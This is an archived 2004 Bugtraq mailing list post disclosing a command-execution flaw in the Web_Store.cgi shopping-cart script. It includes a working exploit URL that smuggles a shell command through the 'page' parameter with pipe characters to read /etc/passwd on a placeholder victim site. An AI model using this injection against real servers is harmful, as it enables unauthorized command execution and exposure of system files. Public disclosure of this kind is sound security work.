Bugtraq mailing list archives

Web_Store.cgi allows Command Execution

From: Zero_X www.lobnan.de Team <zero-x () linuxmail org>
Date: 17 Jul 2004 15:05:15 -0000



Web_Store.cgi allows Command Execution:

This application was written by Selena Sol and Gunther Birznieks.

You can execute shellcommands:

http://www.victim.com/cgi-bin/web_store.cgi?page=.html|cat /etc/passwd|


Zero X, member of www.Lobnan.de and www.Lostkey.org

Current thread:

Web_Store.cgi allows Command Execution Zero_X www . lobnan . de Team (Jul 17)